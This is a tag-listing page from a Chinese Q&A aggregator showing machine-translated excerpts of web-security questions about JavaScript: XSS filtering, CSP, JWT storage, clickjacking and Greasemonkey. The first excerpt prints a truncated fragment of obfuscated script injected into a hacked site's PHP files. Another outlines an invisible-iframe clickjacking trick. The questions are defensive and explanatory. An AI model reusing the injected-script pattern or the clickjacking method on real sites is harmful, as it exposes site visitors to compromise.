草庐IT

SECURITY

全部标签

javascript - 网站刚刚被攻击,头部被注入(inject)了javascript,这是什么意思?

我们的一个网站最近遭到攻击,多个php文件被修改。此修改在页面顶部注入(inject)了javascript,但在对所有内容进行base64解码后,我遇到了以下内容,但我不知道如何继续。有没有人在这方面有任何经验,无论如何都可以弄清楚他们想要实现的目标是什么?i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f

javascript - XSS 预防。处理 <script 就足够了吗?

我想知道是否检查并删除"来自文本输入字段是否足以阻止JavaScript代码注入(inject)攻击? 最佳答案 不,仅仅阻止特定案例是不够的-迟早会有人想出一个你没有想到的人为案例。查看此listofXSSattacks对于最常见的(可能存在其他更奇特的)。您需要将允许的语法列入白名单,而不是假设除了已知向量之外的所有内容都应该没问题。 关于javascript-XSS预防。处理<script就足够了吗?,我们在StackOverflow上找到一个类似的问题:

javascript - google-chrome 中的 XMLHttpRequest 不报告进度事件

大家好,我有这段代码:functiontest(){req=newXMLHttpRequest();req.upload.addEventListener("progress",updateProgress,false);req.addEventListener("readystatechange",updateProgress,false);req.addEventListener("error",uploadFailed,false);req.addEventListener("abort",uploadCanceled,false);vardata=generateRandomD

javascript - 在来自不同域的 iFrame 上运行小书签

有没有办法在来自不同域的iFrame上运行小书签?例如,我有一个从http://example.com加载的页面,它有一个iFrame,其源设置为http://example2.com.当我运行小书签时,它总是在http://example.com上运行,因为那是主页。不过,我想在另一个iFrame上运行它。当我尝试与iFrame交互时(例如,通过将其源属性更改为javascript:alert('test')),Chrome显示以下错误:UnsafeJavaScriptattempttoaccessframewithURLhttp://example.comfromframewith

javascript - 在 Google Chrome 中调试 CSP 违规

我在使用以下Content-Security-PolicyHTTPheader时尝试使用TinyMCE:X-WebKit-CSP:default-src'self';script-src'self''unsafe-eval';img-src*;media-src*;frame-src*;font-src*;style-src'self''unsafe-inline';report-uri/:reportcspviolation我在工具-JavaScript控制台中收到以下错误:RefusedtoexecuteJavaScriptURLbecauseitviolatesthefollow

javascript - 如何保护小部件免受伪造请求

假设您有一个JavaScript小部件,当且仅当用户想要点击它时,它需要向您的Web应用程序发出请求。您不希望此请求容易受到CSRF的攻击,因此您将iframe写入页面。基于origininheritancerules父站点将无法读取CSRFtoken。但是点击劫持(或likejacking)呢?由于CSRF,您必须在iframe中并且有x-frame-options帮不上忙,frame-busters也是如此.攻击者将应用SVGmask小部件加载后的iframe。此掩码将使iframe不可见。此时,攻击者可以将iframe的大小调整为页面的大小,或者让这个现在不可见的iframe跟随

javascript - jwt 认证 : cookie vs header

有很多文章讨论在客户端存储JWT的最佳位置。简而言之,它们都是关于-仅限Http的安全cookie-无XSS,但易受XSRF攻击header(保存在本地存储或DOM中)-无XSRF,但易受XSS攻击我想我想出了一个非常精明的解决方案,但是,由于我在安全方面完全是菜鸟,我不确定它是真的精明还是愚蠢。那么,如果将JWT拆分,一部分保存在cookie中,另一部分保存在header中呢?它会牢不可破吗?这也应该解决“注销”问题-删除header部分会使浏览器无法登录。最好的问候,尤金。 最佳答案 JWT需要保持在一起,否则签名验证将无法进行

javascript - 如何保护使用 javax.scripting 运行的脚本?

我正在使用javax.scripting添加对在服务器端运行任意用户上传的JavaScript的支持。显然我想保护这些脚本!Rhino本身有一个在运行时保护脚本的框架。但是,javax.scripting的文档并未提及脚本可用的安全性、权限或限制类。那么这是否只是javax.scriptingAPI中的一个巨大漏洞,它没有提供一个框架来保护它执行的脚本?我不想直接使用Rhino,因为我最初尝试过,但在将Java实例暴露给正在运行的脚本时遇到了一些问题。javax.scripting框架(在后台使用Rhino)使它变得微不足道,并且还简化了在多线程服务器中运行脚本。我想将可以在运行脚本中

Javascript 安全风险?

关闭。这个问题需要更多focused.它目前不接受答案。想改进这个问题吗?更新问题,使其只关注一个问题editingthispost.关闭4年前。Improvethisquestion使用Javascript有哪些风险以及如何避免?

javascript - Greasemonkey 有多安全?

我从未真正使用过greasemonkey,但我正在考虑使用它。考虑到GreaseMonkey允许您让Internet上的随机用户更改您喜欢的网站的行为,它的安全性如何?他们可以窃取我的密码吗?看我的隐私数据?做我不想做的事?Greasemonkey有多安全?谢谢 最佳答案 考虑到GreaseMonkey允许您让互联网上随机的人改变您最喜欢的网站的行为,它有多安全?它是你允许的那么安全——但是你不是很清楚,所以让我们从几个Angular来看:网络开发人员Greasemonkey无法对您的网站执行任何使用telnet的人无法对您的网站执